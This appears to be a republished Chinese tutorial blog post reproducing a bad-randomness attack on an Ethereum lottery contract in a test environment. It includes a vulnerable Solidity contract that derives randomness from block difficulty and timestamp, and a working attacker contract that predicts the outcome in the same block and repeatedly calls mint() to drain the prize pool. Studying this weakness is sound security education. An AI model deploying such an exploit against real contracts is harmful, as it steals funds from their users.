智能合约学习笔记--随机数攻击复现

这篇具有很好参考价值的文章主要介绍了智能合约学习笔记--随机数攻击复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

智能合约中的随机数

在智能合约中随机数经常被用到,但是我们知道,这些生成的随机数都是伪随机数,当生成的随机数不是足够安全的时候就会产生漏洞。随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测智能合约的随机数。

目前来说常见的随机数获取有两种:使用区块变量生成随机数使用预言机来生成随机数

关于使用区块变量生成随机数,需要用到区块中的函数,并用区块变量作为参数来生成随机数。由区块数据生成的随机数可能会限制普通用户预测随机数的可能性,但是并不能限制矿工作恶,矿工可以决定一个区块是否被广播,他们挖出了一个区块不是一定要广播出去也可以直接扔掉,这个就叫矿工的选择性打包。他们可以持续尝试生成随机数,直至得到想要的结果再广播出去。当然,矿工会这样做的前提是有足够的的利益诱惑,例如可以获得一个很大的奖励池中的奖励,因此使用区块变量获取随机数的方法更适合于一些随机数不属于核心业务的应用。

关于使用预言机来生成随机数,预言机是专门为生成随机数种子而搭建的链上或者链下的服务。除了使用第三方服务,也可以由 DApp 开发商自己搭建一个链下服务提供随机数,这种在链上获取链下数据的场景通常是通过链上预言机的方式来实现。这种方法的安全性依赖第三方,所以同样存在安全风险。

在僵尸工厂中,一开始产生僵尸的dna就属于区块变量生成随机数,根据僵尸的名字进行哈希,最后取合适位数作为该僵尸的dna,这里用到的是Ethereum 内部的一个散列函数keccak256,它用了SHA3版本。一个散列函数基本上就是把一个字符串转换为一个256位的16进制数字。字符串的一个微小变化会引起散列数据极大变化。这在 Ethereum 中有很多应用,但是现在我们只是用它造一个伪随机数。虽然这里生成的随机数并不是真随机数,但是安全性足够了并不会造成什么影响,所以这里可以用这种方法生成随机数。

但是有的合约中,随机数的安全性非常重要,当使用可被预测的随机数种子生成随机数的时候,一旦随机数生成的算法被攻击者猜测到,或通过逆向等其他方式拿到,攻击者就可以根据随机数的生成算法,预测游戏即将出现的随机数,实现随机数预测,达到攻击目的。

示例:

猜数字游戏合约

游戏玩家随时可以调用一个合约函数 mint(),这时 mint 函数内会产生一个随机数。
如果这个随机数是奇数的话,就表示此次调用中奖了,合约将给予游戏玩家一定的奖励。
如果这个随机数是偶数,就表示没有中奖。

被攻击者合约 Random,一句一注释版本:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Random {
    event Log(string); //事件Log
    mapping (uint256 => bool) tokenId_luckys; //映射tokenId_luckys,用于存储

    // 生成随机数确定是否中奖,如果中奖则转账给中奖者
    function mint() public payable returns(bool){//原本没有输出,为了方便理解加上了
        bool randLucky = _getRandom(); //调用函数生成随机数,返回是否中奖
        uint256 token_Id = _totalMinted(); //初始值1
        tokenId_luckys[token_Id] = randLucky; //存入映射
        if (tokenId_luckys[token_Id] == true){//判断是否中奖
            /*
            // 原始代码:中奖逻辑,中奖者奖励1.9倍
            require(payable(msg.sender).send((price * 190) / 100));
            require(payable(widthdrawAddress).send((price * 10) / 100));
            */

            // 测试代码
            require(payable(msg.sender).send(1 ether));//向获奖账户支付一个ether           
        }
        return randLucky;
    }

    function _getRandom() private view returns(bool){
        uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));//使用区块变量生成随机数
        uint256 rand = random % 2;//取随机数的末位
        if(rand == 0){//如果是偶数则值为false,否则为true
            return false;
        }
      	else {
            return true;
        }
    }
    // 查看奖池余额
    function getBalance() external view returns(uint256) {
        return address(this).balance;
    }

    function _totalMinted() private pure returns(uint256) {//只能在合约内部被调用的私有函数
        return 1;
    }

    // 设置部署时可以转入 eth
    constructor() payable{}
}

在线编译器进行编译、部署
先放进去2个ether
智能合约学习笔记--随机数攻击复现
运行尝试,
发现生成的是奇数,账户里的ether减少了1
智能合约学习笔记--随机数攻击复现智能合约学习笔记--随机数攻击复现
继续运行,发现生成了一个偶数,余额不变
智能合约学习笔记--随机数攻击复现
智能合约学习笔记--随机数攻击复现

攻击者合约 Attack

可以看出,这个游戏是必须要求生成的随机数是不可预测的。
但是这里用了使用区块链变量来生成随机数的算法,这里生成是随机数变成了可以被攻击者预测到的,这就使得这个游戏是不安全的,甚至有账户金额被清空的风险。

攻击目标合约函数 attack(address _random) ,参数是攻击目标合约的地址
使用了一个死循环,不断判断目标合约的余额,直至取光里面所有的 Eth。
循环过程中,计算由当前区块的难度值和时间戳产生的哈希值,如果不符合要求,就返回等待下一个区块。
如果符合要求,调用目标合约的mint函数,保证中奖,取走奖金。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    event Log(string);

    // 攻击目标合约,参数是目标合约地址
    function attack(address _random) external payable {
        for (;;) {//死循环
            // 判断攻击目标合约的余额,如果小于 1 个 ether,表示取光,就返回
            if (payable(_random).balance < 1) {
                emit Log("All have been taken out");
                return;
            }
            // 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
            // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
                emit Log("failed to get rand, wait 10 seconds");//接口输出
                return;
            }

            // 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的mint函数,获取奖励
            (bool ok,) = _random.call(abi.encodeWithSignature("mint()"));
            if( !ok ){
                emit Log("failed to call mint()");
                return;
            }
            else{
                emit Log("succeeded getting eth");
            }
        }   
    }

    // 查看获利余额
    function getBalance() external view returns(uint256) {
        return address(this).balance;
    }    

    // 接收攻击获得的Eth
    receive() external payable {}
}

攻击合约者 Attack 调用目标合约 Random 的方法时,由于两者处于同一个区块,所以当前区块的 difficulty 和 timestamp 在两个合约中完全相同。于是,攻击者合约 Attack 使用相同的算法,预先计算出随机数,判断能否中奖。如果能够中奖,再调用目标合约 Random,那么肯定能够得到奖励。如果不能中奖,就等待几秒钟,当区块链的下一个区块生成时,再进行测试。

所以,攻击者合约能够事先预知结果,最终会把奖池撸光。

部署实验的时候可以先不进行循环,代码可以改为

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
    event Log(string);

    function attack(address _random) external payable {
        if (payable(_random).balance < 1){
            emit Log("All have been taken out");
        }
        else{
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
                emit Log("failed to get rand, wait 10 seconds");
            }
            else{
                (bool ok,) = _random.call(abi.encodeWithSignature("mint()"));
                if( !ok ){
                    emit Log("failed to call mint()");
                }
                else{
                    emit Log("succeeded getting eth");
                }
            }
        }
    }

    // 查看获利余额
    function getBalance() external view returns(uint256) {
        return address(this).balance;
    }    

    // 接收攻击获得的Eth
    receive() external payable {}
}

编译部署随机数游戏,并在奖池中存入1个ether
然后编译部署攻击合约,将游戏合约的地址作为参数传入,运行攻击函数

因为不是循环,所以又可能会发生几种情况,
当产生的是偶数时,会返回智能合约学习笔记--随机数攻击复现
当产生的是奇数时,会去调用游戏函数,赢得ether
智能合约学习笔记--随机数攻击复现
另外一种情况会返回游戏合约调用失败,这可能是因为输入的合约地址不正确
智能合约学习笔记--随机数攻击复现

最后一种情况是,奖池中的币已经被取完
智能合约学习笔记--随机数攻击复现
不足:通过地址调用另一个合约里的函数没有写好

参考:http://www.codebaoku.com/smartcontract/smartcontract-random.html文章来源地址https://www.toymoban.com/news/detail-411029.html

到了这里,关于智能合约学习笔记--随机数攻击复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Python学习-----随机数篇

    目录  一.随机数字 1.随机整数 (1)包含上下限(闭区间) (2)包含下限,不包含上限(下闭上开) (3)设置步长(间隔) randint与randrange区别 2.随机浮点数 (1)0~1之间的浮点数 (2)随机浮点数[a,b] 二.有序序列随机值 1.随机获取单个数据结果  2.随机获取多个数据结果

    2024年01月20日
    浏览(30)
  • 【安全密钥】对基尔霍夫-洛-约翰逊噪声(KLJN)安全密钥交换协议的统计随机数生成器攻击(Matlab代码实现)

    💥💥💞💞 欢迎来到本博客 ❤️❤️💥💥 🏆博主优势: 🌞🌞🌞 博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️ 座右铭: 行百里者,半于九十。 📋📋📋 本文目录如下: 🎁🎁🎁 目录 💥1 概述 📚2 运行结果 🎉3 参考文献 🌈4 Matlab代码、数据、文章

    2024年04月12日
    浏览(43)
  • 【机器学习】scikit-learn机器学习中随机数种子的应用与重现

    随机数种子是为了能重现某一次实验生成的随机数而设立的,相同的随机数种子下,生成的随机数序列一样 一、随机数种子基础应用 在python中简单运用随机数种子 结果如下 可以看到out[6]之前加载了随机数种子1之后可以重现第一次随机数的生成结果 二、随机数种子在scikit

    2024年02月01日
    浏览(40)
  • JS - 生成随机数的方法汇总(不同范围、类型的随机数)

    (1)使用 random() 方法可以返回一个介于 0 ~ 1 之间的伪随机数(包括 0,不包括 1)。 (2)下面是一个测试样例 (1)这种最简单,因为和 random 的特点保持一致。只需使用如下公式即可: (2)比如下面生成 [10,15) 范围内的随机浮点数。 因为 random 的特点,要取得这几个区间

    2023年04月08日
    浏览(37)
  • Unity 中的随机数的基础常用的随机数生成方法

    在 Unity 中,可以使用 Random 类来生成随机数。以下是一些常用的随机数生成方法: Random.Range(min, max):生成一个在[min, max)范围内的随机整数。 Random.value:生成一个在[0, 1)范围内的随机浮点数。 Random.insideUnitCircle:生成一个在单位圆内的随机二维向量。 Random.insideUnitSphere:生成

    2024年02月20日
    浏览(41)
  • Hutool 生成随机数和随机字符串

    官方文档: https://www.hutool.cn/docs/#/core/工具类/随机工具-RandomUtil 整理完毕,完结撒花~

    2024年02月16日
    浏览(44)
  • MySQL、Oracle 生成随机ID、随机数、随机字符串

    UUID():是由128位的数字组成的全局唯一标识符。每次都生成一个新的随机数。 它通常以32个十六进制数的形式表示,分为5个部分,以连字符分隔。 UUID的长度是36个字符,包括32个十六进制数字和4个连字符。 UUID的标准格式是由 8-4-4-4-12 个十六进制数字组成的,其中每个部分的

    2024年01月16日
    浏览(44)
  • 随机数算法,SQL

    记录 id      权重 1       5 2       10 3       50 4      100 找权重最大的那个值,调用rand()函数,它会随机生成一个0-1的值 然后 rand * 100 得出一个随机值  它的范围  0 =  随机值   100 例如本次随机值为2,那么找到 大于2的所有记录,然后升序 此时查询结果为 2     

    2024年02月09日
    浏览(27)
  • Qt之随机数

            介绍使用qsrand和qrand生成随机数。         生成随机数主要用到了函数qsrand和qrand,qsrand用来设置种子点,该种子为qrand生成随机数的起始值。如果不调用qsrand,那么qrand()就会自动调用qsrand(1),即系统默认将1作为随机数的起始值。使用相同的种子生成的随机数一样

    2024年02月09日
    浏览(26)
  • Qt产生随机数

    提问: 有没有小伙伴遇到这么一种情况,使用rand()和qrand()函数生成的随机数好像不是那么随机,每次都一样。那这种就叫做“伪随机”,因为没有种随机数种子,所以系统默认随机数种子是固定值。 在Qt项目中呢,生成随机数有两个步骤: 1.使用qsrand()种随机数种子 2.调用

    2024年02月11日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包